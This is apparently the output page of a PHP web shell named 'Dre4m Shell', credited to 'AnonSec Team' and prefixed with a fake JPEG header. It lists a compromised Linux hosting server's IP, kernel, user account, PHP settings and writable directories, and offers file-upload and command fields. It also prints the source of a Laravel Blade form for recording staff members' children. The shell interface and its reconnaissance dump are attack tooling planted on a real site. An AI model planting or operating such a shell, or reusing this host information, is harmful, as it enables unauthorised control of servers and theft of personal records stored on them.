ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 3.12.108.121
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/fundscopied/resources/views/ParticularsOfChildren/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/fundscopied/resources/views/ParticularsOfChildren/create.blade.php
@extends('layouts.layout')

@section('pageTitle')
 Add Particular of Children 
@endsection

@section('content')
 <div class="box box-default">
    <div class="box-body box-profile">
    	<div class="box-header with-border hidden-print">
        	<h3 class="box-title"><b>@yield('pageTitle')</b> 
        		<big><b class="text-green"> - {{strtoupper($getStaff->surname." ".$getStaff->first_name." ".$getStaff->othernames)}}</b></big><span id='processing'></span>
        	</h3>
    	</div>
		  <form method="post" action="{{ url('/children/create') }}">
		  <div class="box-body">
		        <div class="row">
		            <div class="col-md-12"><!--1st col-->
		                @if (count($errors) > 0)
							<div class="alert alert-danger alert-dismissible" role="alert">
								<button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span>
								</button>
								<strong>Error!</strong> 
								@foreach ($errors->all() as $error)
									<p>{{ $error }}</p>
								@endforeach
							</div>
		                @endif
		                       
						@if(session('msg'))
		                    <div class="alert alert-success alert-dismissible" role="alert">
		                        <button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span>
		                        </button>
		                        <strong>Success!</strong> 
								{{ session('msg') }} 
						    </div>                        
		                @endif

		                @if(session('err'))
		                    <div class="alert alert-warning alert-dismissible" role="alert">
		                        <button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span>
		                        </button>
		                        <strong>Not Allowed ! </strong> 
								{{ session('err') }}
						    </div>                        
		                @endif

		            </div>
					{{ csrf_field() }}

						<div class="col-md-12"><!--2nd col-->

							<div class="row">
								<div class="col-md-6">
									<div class="form-group">
										<label for="fullName">Full Name</label> 
										@php if(($details != "")){ @endphp
											<input type="text" name="fullName" class="form-control" value="{{$details->fullname}}"/>
										@php }else{ @endphp
											<input type="text" name="fullName" class="form-control" value="{{old('fullName')}}" />
										@php } @endphp

										<!--NOTE: THIS'S FOR EDITTING-->
										@php if(($details != "")){ @endphp
											<input type="hidden" name="id" value="{{$details->id}}"/>
										@php }else{ @endphp
											<input type="hidden" name="id" value=""/>
										@php } @endphp

									</div>
								</div>
								<div class="col-md-6">
									<div class="form-group">
										<label for="month">Gender</label>
										@php if(($details != "")){ @endphp
										<select name="gender" class="form-control">
									        <option value="{{$details->gender}}">{{$details->gender}}</option>
									        <option value="Male" {{ (old("gender") == "Male" ? "selected":"") }}>Male</option>
									        <option value="Female" {{ (old("gender") == "Female" ? "selected":"") }}>Female</option>
								        </select>
								        @php }else{ @endphp
								        <select name="gender" class="form-control">
									        <option value=""></option>
									        <option value="Male" {{ (old("gender") == "Male" ? "selected":"") }}>Male</option>
									        <option value="Female" {{ (old("gender") == "Female" ? "selected":"") }}>Female</option>
								        </select>
								        @php } @endphp	
									</div>
								</div>	
							</div>	

							<div class="row">
								<div class="col-md-6">
									<div class="form-group">
										<label for="dateOfBirth">Date of Birth</label>
										@php if(($details != "")){ @endphp
											<input type="text" name="dateOfBirth2" id="dateOfBirth2" class="form-control" value="{{date('d M, Y', strtotime($details->dateofbirth))}}" />
											<input type="hidden" name="dateOfBirth" id="dateOfBirth" value="{{$details->dateofbirth}}" />
										@php }else{ @endphp
											<input type="text" name="dateOfBirth2" id="dateOfBirth2" value="{{old('dateOfBirth2')}}" class="form-control" />
												<input type="hidden" name="dateOfBirth" id="dateOfBirth" value="{{old('dateOfBirth')}}" />
										@php } @endphp
									</div>
								</div>	
								<div class="col-md-6">
									<div class="form-group">
										<label for="checkedChildrenParticulars">Checked By</label>
										@php if(($details != "")){ @endphp
											<input type="text" name="checkedChildrenParticulars" value="{{$details->checked_children_particulars}}" class="form-control" />
										 @php }else{ @endphp
										 	<input type="text" name="checkedChildrenParticulars" class="form-control" value="{{old('checkedChildrenParticulars')}}" />
										 @php } @endphp
									</div>
								</div>
							</div>

			
							<hr />
							<div class="row">
								<div class="col-md-12">

								<div class="col-md-3">
									<div align="left" class="form-group">
										<label for="month">&nbsp;</label><br />
										<a href="{{url('/profile/details/'.$getStaff->fileNo)}}" title="Back to profile" class="btn btn-warning"><i class="fa fa-arrow-circle-left"></i> Back </a>
									</div>
								</div>
								
								<div class="col-md-9">
									<div align="right" class="form-group">
										<label for="month">&nbsp;</label><br />
										<button name="action" class="btn btn-success" type="submit">
											Update/Add New <i class="fa fa-save"></i> 
										</button>
									</div>
								</div>
								
										
								</div>
							</div>	
							<hr />

					<table class="table table-striped table-hover">
						<thead>
							<tr>
								<th>S/N</th>
								<th>Full Name</th>
								<th>Gender</th>
								<th>Date of Birth</th>
								<th>Checked By</th>
								<th>Edit</th>
								<th></th>
							</tr>
						</thead>
						<tbody>
						@php if($childrenList != ''){ @endphp
							@php $key = 1 @endphp
							@foreach($childrenList as $list)
							<tr>
								<td>{{$key ++}}</td>
								<td>{{$list->fullname}}</td>
								<td>{{$list->gender}}</td>
								<td>{{date('d M, Y', strtotime($list->dateofbirth))}}</td>
								<td>{{$list->checked_children_particulars}}</td>
								<td><a href="{{url('/children/edit/'.$list->id)}}" title="Edit" class="btn btn-success fa fa-edit"></a>
								</td>
								<td><!--<a href="{{url('/children/remove/'.$list->id)}}" title="Remove" class="btn btn-warning fa fa-trash"></a>-->
								</td>
							</tr>
							@endforeach
						@php
						}else{ @endphp
								<tr>
								<td colspan="11" class="text-center">No details provided yet !</td>
								</tr>
						@php } @endphp

						</tbody>
					</table>
					</div>
		        </div><!-- /.col -->
		    </div><!-- /.row -->
		  </form>
		   
	</div>
</div>
@endsection
@section('styles')
<link rel="stylesheet" type="text/css" href="{{asset('assets/css/datepicker.min.css')}}">
@endsection
@section('scripts')
<script src="{{asset('assets/js/jquery-ui.min.js')}}"></script>
  <script type="text/javascript">

	$( function() {
	    $("#dateOfBirth2").datepicker({
	    	changeMonth: true,
	    	changeYear: true,
	    	yearRange: '1910:2090', // specifying a hard coded year range
		    showOtherMonths: true,
		    selectOtherMonths: true, 
		    dateFormat: "dd MM, yy",
		    //dateFormat: "D, MM d, yy",
		    onSelect: function(dateText, inst){
		    	var theDate = new Date(Date.parse($(this).datepicker('getDate')));
				var dateFormatted = $.datepicker.formatDate('yy-mm-d', theDate);
				$("#dateOfBirth").val(dateFormatted);
        	},
		});

  } );
</script>
@endsection

Anon7 - 2022
AnonSec Team